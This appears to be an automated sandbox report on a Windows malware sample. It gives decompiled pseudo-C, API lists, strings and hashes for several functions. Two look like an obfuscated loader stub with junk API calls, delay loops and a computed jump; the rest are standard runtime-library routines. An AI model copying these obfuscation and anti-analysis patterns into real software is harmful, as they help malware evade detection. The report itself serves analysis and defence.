Function 00419C32, Relevance: 42.1, APIs: 16, Strings: 8, Instructions: 111
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00419C32() {
				signed int _v8;
				char _v1116;
				char _v2140;
				char _v4188;
				struct _COORD _v4192;
				struct _STARTUPINFOW _v4268;
				union _ULARGE_INTEGER _v4276;
				union _ULARGE_INTEGER _v4284;
				char _v5308;
				union _ULARGE_INTEGER _v5316;
				char _v5604;
				signed int _v5608;
				void _v5640;
				signed int _v5644;

				E0041AA70(0x1648);
				_v8 = _v8 & 0x00000000;
				while(_v8 < 0x332beaf6) {
					SetLastError(0);
					if( *0x55abe4 == 0x16) {
						GetProfileStringA("wegazevevemitohokababawijufapiyodewemu", "gugafavapisufetirenucihobeyokuxutebijubixofaxabe", "xoliwerarihazohupamuzuficumabaselacahexuxa",  &_v2140, 0);
						WriteProfileSectionW(0, 0);
						GetProfileStringA("yobahojicusenino", "pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow", "leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled",  &_v1116, 0);
					}
					GetLastError();
					if( *0x55abe4 == 0x9e) {
						__imp__GetSystemWow64DirectoryW( &_v4188, 0);
						GetWindowsDirectoryA( &_v5308, 0);
						__imp__GetCPInfoExA(0, 0,  &_v5604);
						GetDiskFreeSpaceExA("Yapey hetucironijas nuxo xukedosi bovuludut",  &_v4276,  &_v4284,  &_v5316);
						GetStartupInfoW( &_v4268);
						ReadConsoleOutputCharacterW(0, 0, 0, _v4192, 0);
					}
					if(_v8 <= 0x3775ee) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				L00419960( *0x453940,  *0x55abe4, 0x440010);
				_v5608 = _v5608 & 0x00000000;
				while(_v5608 < 0x3e79e) {
					if( *0x55abe4 == 0x10) {
						GlobalUnWire( &_v5640);
					}
					if(_v5608 == 0x1e673) {
						 *0x453940 =  *0x453940 + 0x3a53;
					}
					_v5608 = _v5608 + 1;
				}
				_v5644 = _v5644 & 0x00000000;
				while(_v5644 < 0xdd9a7) {
					if( *0x55abe4 == 0xc01) {
						GetProcessHeap();
						GetProcessHeaps(0, 0);
						WritePrivateProfileStringA(0, 0, 0, 0);
						GetPriorityClass(0);
					}
					_v5644 = _v5644 + 1;
				}
				goto ( *0x453940);
			}

0x00419c3a
0x00419c3f
0x00419c4c
0x00419c5b
0x00419c68
0x00419c82
0x00419c8c
0x00419caa
0x00419caa
0x00419cb0
0x00419cc0
0x00419ccb
0x00419cda
0x00419ceb
0x00419d0b
0x00419d18
0x00419d2c
0x00419d2c
0x00419d39
0x00419c49
0x00000000
0x00419d3b
0x00000000
0x00419d3b
0x00419d39
0x00419d53
0x00419d58
0x00419d6e
0x00419d81
0x00419d8a
0x00419d8a
0x00419d9a
0x00419d9c
0x00419d9c
0x00419d68
0x00419d68
0x00419da8
0x00419dbe
0x00419dd4
0x00419dd6
0x00419de0
0x00419dee
0x00419df6
0x00419df6
0x00419db8
0x00419db8
0x00419dfe

APIs

SetLastError.KERNEL32(00000000), ref: 00419C5B
GetProfileStringA.KERNEL32(wegazevevemitohokababawijufapiyodewemu,gugafavapisufetirenucihobeyokuxutebijubixofaxabe,xoliwerarihazohupamuzuficumabaselacahexuxa,?,00000000), ref: 00419C82
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 00419C8C
GetProfileStringA.KERNEL32(yobahojicusenino,pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow,leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled,?,00000000), ref: 00419CAA
GetLastError.KERNEL32 ref: 00419CB0
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 00419CCB
GetWindowsDirectoryA.KERNEL32(?,00000000), ref: 00419CDA
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 00419CEB
GetDiskFreeSpaceExA.KERNEL32(Yapey hetucironijas nuxo xukedosi bovuludut,?,?,?), ref: 00419D0B
GetStartupInfoW.KERNEL32(?), ref: 00419D18
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00419D2C
GlobalUnWire.KERNEL32(?), ref: 00419D8A
GetProcessHeap.KERNEL32 ref: 00419DD6
GetProcessHeaps.KERNEL32(00000000,00000000), ref: 00419DE0
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419DEE
GetPriorityClass.KERNEL32(00000000), ref: 00419DF6

Strings

xoliwerarihazohupamuzuficumabaselacahexuxa, xrefs: 00419C73
gugafavapisufetirenucihobeyokuxutebijubixofaxabe, xrefs: 00419C78
Yapey hetucironijas nuxo xukedosi bovuludut, xrefs: 00419D06
leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled, xrefs: 00419C9B
yobahojicusenino, xrefs: 00419CA5
u7, xrefs: 00419D32
wegazevevemitohokababawijufapiyodewemu, xrefs: 00419C7D
pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow, xrefs: 00419CA0

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: Profile$String$DirectoryErrorInfoLastProcessWrite$CharacterClassConsoleDiskFreeGlobalHeapHeapsOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: Yapey hetucironijas nuxo xukedosi bovuludut$gugafavapisufetirenucihobeyokuxutebijubixofaxabe$leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled$pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow$wegazevevemitohokababawijufapiyodewemu$xoliwerarihazohupamuzuficumabaselacahexuxa$yobahojicusenino$u7
API String ID: 182769965-1659383190
Opcode ID: e8ae5d373b0401b253ccdc98f1d95c837d8cad5b9a74e8f7b96d9019d081661c
Instruction ID: 27603d8e9e42d0a75dd38a2dbd09d36810606bf5b08e733dcc9b2675300d461e
Opcode Fuzzy Hash: e8ae5d373b0401b253ccdc98f1d95c837d8cad5b9a74e8f7b96d9019d081661c
Instruction Fuzzy Hash: 3D415E71944248EFEB20DB90DE59BD973B9AB14703F1040A7F24AF60A0C7B95AC4CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 004199E9, Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 110
timefilepipeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E004199E9(union _FINDEX_INFO_LEVELS _a4) {
				void* _v8;
				void* _v22;
				struct _SYSTEMTIME _v24;
				void* _v38;
				struct _SYSTEMTIME _v40;
				void* _v56;
				struct _COMMTIMEOUTS _v60;
				struct _DCB _v88;
				struct _TIME_ZONE_INFORMATION _v260;
				char _v1284;
				void _v2308;
				intOrPtr _t25;
				union _FINDEX_INFO_LEVELS _t27;
				void* _t54;

				if( *0x55abe4 == 0x37) {
					_v60.ReadIntervalTimeout = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					BuildCommDCBAndTimeoutsW(L"lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix",  &_v88,  &_v60);
					CreateMailslotA("kinekecusaz", 0, 0, 0);
					GetNamedPipeHandleStateA(0, 0, 0, 0, 0, 0, 0);
					ReleaseSemaphore(0, 0, 0);
					FindAtomA(0);
					_v40.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					_v24.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					SystemTimeToTzSpecificLocalTime( &_v260,  &_v40,  &_v24);
					__imp__SetComputerNameExA(0, "Hay sexulilef", _t54);
					SetConsoleCursorInfo(0, 0);
					TlsGetValue(0);
					CopyFileA(0, 0, 0);
					__imp__GetLongPathNameA(0,  &_v1284, 0);
					__imp__SetVolumeMountPointW(0, 0);
					SetProcessPriorityBoost(0, 0);
					FreeEnvironmentStringsA(0);
					GetDriveTypeW(L"fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb");
					FindFirstFileExW(L"gocibuzoluxomebaxabuviyupezadapebetag", _a4,  &_v2308, _a4, 0, 0);
				}
				_v8 = 0;
				_t25 =  *0x55abe8; // 0x3f6fda
				_v8 = _v8 + _t25;
				_v8 = _v8 + 0x12336;
				_t27 = _a4;
				 *((char*)( *0x453940 + _t27)) =  *((intOrPtr*)(_v8 + _t27));
				return _t27;
			}

0x004199fc
0x00419a05
0x00419a0b
0x00419a0c
0x00419a0d
0x00419a0e
0x00419a1c
0x00419a2a
0x00419a37
0x00419a40
0x00419a47
0x00419a4f
0x00419a56
0x00419a57
0x00419a58
0x00419a59
0x00419a5d
0x00419a64
0x00419a65
0x00419a66
0x00419a67
0x00419a78
0x00419a84
0x00419a8c
0x00419a93
0x00419a9c
0x00419aab
0x00419ab3
0x00419abb
0x00419ac2
0x00419acd
0x00419ae7
0x00419aed
0x00419aee
0x00419af1
0x00419af6
0x00419afe
0x00419b01
0x00419b10
0x00419b15

APIs

BuildCommDCBAndTimeoutsW.KERNEL32 ref: 00419A1C
CreateMailslotA.KERNEL32 ref: 00419A2A
GetNamedPipeHandleStateA.KERNEL32 ref: 00419A37
ReleaseSemaphore.KERNEL32(00000000,00000000,00000000), ref: 00419A40
FindAtomA.KERNEL32 ref: 00419A47
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 00419A78
SetComputerNameExA.KERNEL32(00000000,Hay sexulilef), ref: 00419A84
SetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419A8C
TlsGetValue.KERNEL32(00000000), ref: 00419A93
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 00419A9C
GetLongPathNameA.KERNEL32 ref: 00419AAB
SetVolumeMountPointW.KERNEL32(00000000,00000000), ref: 00419AB3
SetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 00419ABB
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00419AC2
GetDriveTypeW.KERNEL32(fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb), ref: 00419ACD
FindFirstFileExW.KERNEL32(gocibuzoluxomebaxabuviyupezadapebetag,?,?,?,00000000,00000000), ref: 00419AE7

Strings

Hay sexulilef, xrefs: 00419A7E
kinekecusaz, xrefs: 00419A25
gocibuzoluxomebaxabuviyupezadapebetag, xrefs: 00419AE2
lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix, xrefs: 00419A17
fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb, xrefs: 00419AC8

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: FileFindNameTime$AtomBoostBuildCommComputerConsoleCopyCreateCursorDriveEnvironmentFirstFreeHandleInfoLocalLongMailslotMountNamedPathPipePointPriorityProcessReleaseSemaphoreSpecificStateStringsSystemTimeoutsTypeValueVolume
String ID: Hay sexulilef$fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb$gocibuzoluxomebaxabuviyupezadapebetag$kinekecusaz$lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix
API String ID: 2371511816-294975296
Opcode ID: 501f59bb037f79fd8c8e56774737705b1091c1602414329c54927523f4b33fdd
Instruction ID: 59b5d41da2e6e3ff3728856b09e22f51287df8d82d75c1c7c02636c7c16248b2
Opcode Fuzzy Hash: 501f59bb037f79fd8c8e56774737705b1091c1602414329c54927523f4b33fdd
Instruction Fuzzy Hash: A1311776802568BFD7119BE4DE089DFBBBCEF4E351B100022F245F2030D6385A85CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0042BC70, Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0042BC70(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x440354; // 0x30896efa
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x55b510 = _t6;
				 *0x55b50c = _t20;
				 *0x55b508 = _t22;
				 *0x55b504 = _t19;
				 *0x55b500 = _t25;
				 *0x55b4fc = _t24;
				 *0x55b528 = ss;
				 *0x55b51c = cs;
				 *0x55b4f8 = ds;
				 *0x55b4f4 = es;
				 *0x55b4f0 = fs;
				 *0x55b4ec = gs;
				asm("pushfd");
				_pop( *0x55b520);
				 *0x55b514 =  *_t29;
				 *0x55b518 = _v0;
				 *0x55b524 =  &_a4;
				 *0x55b460 = 0x10001;
				 *0x55b414 =  *0x55b518;
				 *0x55b408 = 0xc0000409;
				 *0x55b40c = 1;
				_t21 =  *0x440354; // 0x30896efa
				_v812 = _t21;
				_t23 =  *0x440358; // 0xcf769105
				_v808 = _t23;
				 *0x55b458 = IsDebuggerPresent();
				_push(1);
				E004299B0(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x4080a8);
				if( *0x55b458 == 0) {
					_push(1);
					E004299B0(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0042bc70
0x0042bc70
0x0042bc70
0x0042bc70
0x0042bc70
0x0042bc70
0x0042bc70
0x0042bc76
0x0042bc78
0x0042bc78
0x0043629b
0x004362a0
0x004362a6
0x004362ac
0x004362b2
0x004362b8
0x004362be
0x004362c5
0x004362cc
0x004362d3
0x004362da
0x004362e1
0x004362e8
0x004362e9
0x004362f2
0x004362fa
0x00436302
0x0043630d
0x0043631c
0x00436321
0x0043632b
0x00436335
0x0043633b
0x00436341
0x00436347
0x00436353
0x00436358
0x0043635a
0x00436364
0x0043636f
0x0043637c
0x0043637e
0x00436380
0x00436385
0x0043639d

APIs

IsDebuggerPresent.KERNEL32 ref: 0043634D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00436364
UnhandledExceptionFilter.KERNEL32(004080A8), ref: 0043636F
GetCurrentProcess.KERNEL32(C0000409), ref: 0043638D
TerminateProcess.KERNEL32(00000000), ref: 00436394

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: b7a53afc7208901d6c6d60203df49a70aefb68ac451e4fc273249babed218e6a
Instruction ID: 526fe90387c61baf21c91ba88ea3059295f3642fbdd4fa6cca4a46c29b632874
Opcode Fuzzy Hash: b7a53afc7208901d6c6d60203df49a70aefb68ac451e4fc273249babed218e6a
Instruction Fuzzy Hash: C62126B8801308DFEB14DF55FD68A643BA5BB28316F10406AE90893372F7745688AF99

Uniqueness

Uniqueness Score: -1.00%

Function 0042C2FE, Relevance: 96.7, APIs: 33, Strings: 22, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042C2FE(struct _OVERLAPPED* __ecx) {
				CHAR* _t147;
				long _t160;
				void* _t164;
				void* _t167;
				void* _t171;
				struct _OVERLAPPED* _t179;
				struct _OVERLAPPED* _t197;
				struct _OVERLAPPED** _t198;
				void* _t208;
				void* _t209;
				void* _t259;
				void* _t260;
				void* _t261;
				void* _t262;
				signed int _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				void* _t271;

				_t210 = __ecx;
				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t263 + 0x18)) != 0) {
						 *(_t263 - 0x5034) = 0;
						 *(_t263 - 0x5038) =  *(L00422E20(_t210));
						 *(L00422E20( *(L00422E20(_t210)))) = 0;
						_t236 = _t263 - 0x5030;
						_t197 = E00436260(_t263 - 0x5030, 0x1000, 0xfeb,  *((intOrPtr*)(_t263 + 0x18)),  *((intOrPtr*)(_t263 + 0x1c)));
						_t265 = _t265 + 0x14;
						 *(_t263 - 0x5034) = _t197;
						if( *(_t263 - 0x5034) < 0) {
							E0041DA00( *((intOrPtr*)(L00422E20(_t236))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x12d, 0);
							_t265 = _t265 + 0x20;
						}
						_t198 = L00422E20(_t236);
						_t210 =  *(_t263 - 0x5038);
						 *_t198 =  *(_t263 - 0x5038);
						if( *(_t263 - 0x5034) < 0) {
							E0041DF70(E0041DAF0(_t208, _t210, _t261, _t263 - 0x5030, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t199, L"strcpy_s(szUserMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x130, 0);
							_t265 = _t265 + 0x24;
						}
					}
					if( *(_t263 + 8) == 2) {
						if( *((intOrPtr*)(_t263 + 0x18)) == 0) {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed!";
						} else {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed: ";
						}
						_t210 = _t263 - 0x4030;
						E0041DF70(E0041DAF0(_t208, _t263 - 0x4030, _t261, _t263 - 0x4030, 0x1000,  *((intOrPtr*)(_t263 - 0x5068))), _t192, L"strcpy_s(szLineMessage, 4096, szFormat ? \"Assertion failed: \" : \"Assertion failed!\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x135, 0);
						_t265 = _t265 + 0x24;
					}
					E0041DF70(E004320E0(_t208, _t210, _t259, _t261, _t263 - 0x4030, 0x1000, _t263 - 0x5030), _t136, L"strcat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x137, 0);
					_t267 = _t265 + 0x24;
					if( *(_t263 + 8) == 2) {
						_t234 =  *(_t263 + 8);
						if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0) {
							E0041DF70(E004320E0(_t208, _t234, _t259, _t261, _t263 - 0x4030, 0x1000, "\r"), _t189, L"strcat_s(szLineMessage, 4096, \"\\r\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13c, 0);
							_t267 = _t267 + 0x24;
						}
						_t210 = _t263 - 0x4030;
						E0041DF70(E004320E0(_t208, _t263 - 0x4030, _t259, _t261, _t263 - 0x4030, 0x1000, "\n"), _t186, L"strcat_s(szLineMessage, 4096, \"\\n\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13d, 0);
						_t267 = _t267 + 0x24;
					}
					if( *(_t263 + 0xc) == 0) {
						E0041DF70(E0041DAF0(_t208, _t263 - 0x4030, _t261, _t263 - 0x3028, 0x1000, _t263 - 0x4030), _t138, L"strcpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x14b, 0);
						_t269 = _t267 + 0x24;
					} else {
						 *(_t263 - 0x503c) = 0;
						 *(_t263 - 0x5040) =  *(L00422E20(_t210));
						 *(L00422E20(_t210)) = 0;
						_push(_t263 - 0x4030);
						_t233 =  *(_t263 + 0x10);
						_push( *(_t263 + 0x10));
						_t179 = E0042BC40( *(_t263 + 0x10), _t263 - 0x3028, 0x1000, 0xfff, "%s(%d) : %s",  *(_t263 + 0xc));
						_t269 = _t267 + 0x1c;
						 *(_t263 - 0x503c) = _t179;
						if( *(_t263 - 0x503c) < 0) {
							E0041DA00( *(L00422E20(_t233)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x144, 0);
							_t269 = _t269 + 0x20;
						}
						 *(L00422E20(_t233)) =  *(_t263 - 0x5040);
						if( *(_t263 - 0x503c) < 0) {
							E0041DF70(E0041DAF0(_t208, _t233, _t261, _t263 - 0x3028, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t182, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x147, 0);
							_t269 = _t269 + 0x24;
						}
					}
					 *(_t263 - 0x5044) = 0;
					 *(_t263 - 0x5048) = 0;
					_t240 = _t263 - 0x5044;
					 *(_t263 - 0x5048) = E00436D20(_t263 - 0x5044, _t263 - 0x2020, 0x1000, _t263 - 0x3028, 0xffffffff);
					E0041DA00( *(_t263 - 0x5048), 0x16, 0x22, L"e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x150, 0);
					_t271 = _t269 + 0x34;
					if( *(_t263 - 0x5048) != 0) {
						E0041DF70(E0042DB40(_t208, _t263 - 0x2020, _t259, _t261, _t263 - 0x2020, 0x1000, L"_CrtDbgReport: String too long or Invalid characters in String"), _t173, L"wcscpy_s(szOutMessage2, 4096, L\"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x152, 0);
						_t271 = _t271 + 0x24;
					}
					if( *0x55b808 != 0 ||  *0x55b804 != 0) {
						 *(_t263 - 0x5050) = 0;
						 *(_t263 - 0x504c) = 0;
						L0041E2D0(0xf);
						_t271 = _t271 + 4;
						 *(_t263 - 4) = 1;
						_t240 =  *0x55b808;
						 *(_t263 - 0x5050) =  *0x55b808;
						while( *(_t263 - 0x5050) != 0) {
							 *(_t263 - 0x5054) = 0;
							_t240 =  *(_t263 - 0x5050);
							_t171 =  *(( *(_t263 - 0x5050))[0xc])( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x5054);
							_t271 = _t271 + 0xc;
							if(_t171 == 0) {
								 *(_t263 - 0x5050) = ( *(_t263 - 0x5050))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5054);
							break;
						}
						if( *(_t263 - 0x302c) != 0) {
							L43:
							 *(_t263 - 4) = 0;
							E0042C895();
							goto L44;
						}
						_t240 =  *0x55b804;
						 *(_t263 - 0x504c) =  *0x55b804;
						while( *(_t263 - 0x504c) != 0) {
							 *(_t263 - 0x5058) = 0;
							_t240 =  *(_t263 - 0x504c);
							_t167 =  *(( *(_t263 - 0x504c))[0xc])( *(_t263 + 8), _t263 - 0x2020, _t263 - 0x5058);
							_t271 = _t271 + 0xc;
							if(_t167 == 0) {
								 *(_t263 - 0x504c) = ( *(_t263 - 0x504c))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5058);
							goto L43;
						}
						goto L43;
					} else {
						L44:
						if( *(_t263 - 0x302c) == 0) {
							if( *0x55b800 != 0) {
								 *(_t263 - 0x505c) = 0;
								_t240 = _t263 - 0x505c;
								_t164 =  *0x55b800( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x505c);
								_t271 = _t271 + 0xc;
								if(_t164 != 0) {
									 *(_t263 - 0x302c) = 1;
									_t240 =  *(_t263 - 0x505c);
									 *(_t263 - 0x2024) =  *(_t263 - 0x505c);
								}
							}
							if( *(_t263 - 0x302c) == 0) {
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0 &&  *(0x441070 +  *(_t263 + 8) * 4) != 0xffffffff) {
									_t160 = E0041DDD0(_t263 - 0x3028);
									_t271 = _t271 + 4;
									WriteFile( *(0x441070 +  *(_t263 + 8) * 4), _t263 - 0x3028, _t160, _t263 - 0x5060, 0);
								}
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000002) != 0) {
									OutputDebugStringA(_t263 - 0x3028);
								}
								_t240 =  *(_t263 + 8);
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000004) != 0) {
									 *(_t263 - 0x4030) = 0;
									if( *(_t263 + 0x10) != 0) {
										E0041DF70(E00436D50(_t263 - 0x4030,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t157, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1a2, 0);
										_t271 = _t271 + 0x28;
									}
									asm("sbb edx, edx");
									_t240 =  *(_t263 + 8);
									 *(_t263 - 0x2024) = L004295A0(_t208,  *(_t263 + 8), _t259, _t261,  *(_t263 + 8),  *(_t263 + 0xc),  ~( *(_t263 + 0x10)) & _t263 - 0x00004030,  *((intOrPtr*)(_t263 + 0x14)), _t263 - 0x5030);
								}
							}
						}
						L58:
						 *(_t263 - 4) = 0xfffffffe;
						E0042C9FF();
						_t147 =  *(_t263 - 0x2024);
						 *[fs:0x0] =  *((intOrPtr*)(_t263 - 0x10));
						_pop(_t260);
						_pop(_t262);
						_pop(_t209);
						return E0042BC70(_t147, _t209,  *(_t263 - 0x1c) ^ _t263, _t240, _t260, _t262);
					}
				}
				E0041DF70(E00436D50(_t210,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t204, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x119, 0);
				OutputDebugStringA("Second Chance Assertion Failed: File ");
				if( *(_t263 + 0xc) == 0) {
					 *(_t263 - 0x5064) = "<file unknown>";
				} else {
					 *(_t263 - 0x5064) =  *(_t263 + 0xc);
				}
				_t240 =  *(_t263 - 0x5064);
				OutputDebugStringA( *(_t263 - 0x5064));
				OutputDebugStringA(", Line ");
				OutputDebugStringA(_t263 - 0x4030);
				OutputDebugStringA("\n");
				E0042C200(_t263 - 0x4030);
				 *(_t263 - 0x2024) = 0xffffffff;
				goto L58;
			}

0x0042c2fe
0x0042c30b
0x0042c3b8
0x0042c3be
0x0042c3cf
0x0042c3da
0x0042c3f2
0x0042c3f9
0x0042c3fe
0x0042c401
0x0042c40e
0x0042c432
0x0042c437
0x0042c437
0x0042c43a
0x0042c43f
0x0042c445
0x0042c44e
0x0042c480
0x0042c485
0x0042c485
0x0042c44e
0x0042c48c
0x0042c492
0x0042c4a0
0x0042c494
0x0042c494
0x0042c494
0x0042c4cc
0x0042c4dc
0x0042c4e1
0x0042c4e1
0x0042c516
0x0042c51b
0x0042c522
0x0042c524
0x0042c531
0x0042c563
0x0042c568
0x0042c568
0x0042c58b
0x0042c59b
0x0042c5a0
0x0042c5a0
0x0042c5a7
0x0042c6b7
0x0042c6bc
0x0042c5ad
0x0042c5ad
0x0042c5be
0x0042c5c9
0x0042c5d5
0x0042c5d6
0x0042c5d9
0x0042c5f4
0x0042c5f9
0x0042c5fc
0x0042c609
0x0042c62d
0x0042c632
0x0042c632
0x0042c640
0x0042c649
0x0042c67b
0x0042c680
0x0042c680
0x0042c683
0x0042c6bf
0x0042c6c9
0x0042c6e8
0x0042c6f7
0x0042c71e
0x0042c723
0x0042c72d
0x0042c75f
0x0042c764
0x0042c764
0x0042c76e
0x0042c77d
0x0042c787
0x0042c793
0x0042c798
0x0042c79b
0x0042c7a2
0x0042c7a8
0x0042c7bf
0x0042c7c8
0x0042c7e4
0x0042c7ed
0x0042c7ef
0x0042c7f4
0x0042c7b9
0x00000000
0x0042c7b9
0x0042c7f6
0x0042c806
0x00000000
0x0042c806
0x0042c817
0x0042c887
0x0042c887
0x0042c88e
0x00000000
0x0042c88e
0x0042c819
0x0042c81f
0x0042c836
0x0042c83f
0x0042c85b
0x0042c864
0x0042c866
0x0042c86b
0x0042c830
0x00000000
0x0042c830
0x0042c86d
0x0042c87d
0x00000000
0x0042c87d
0x00000000
0x0042c8a0
0x0042c8a0
0x0042c8a7
0x0042c8b4
0x0042c8b6
0x0042c8c0
0x0042c8d2
0x0042c8d8
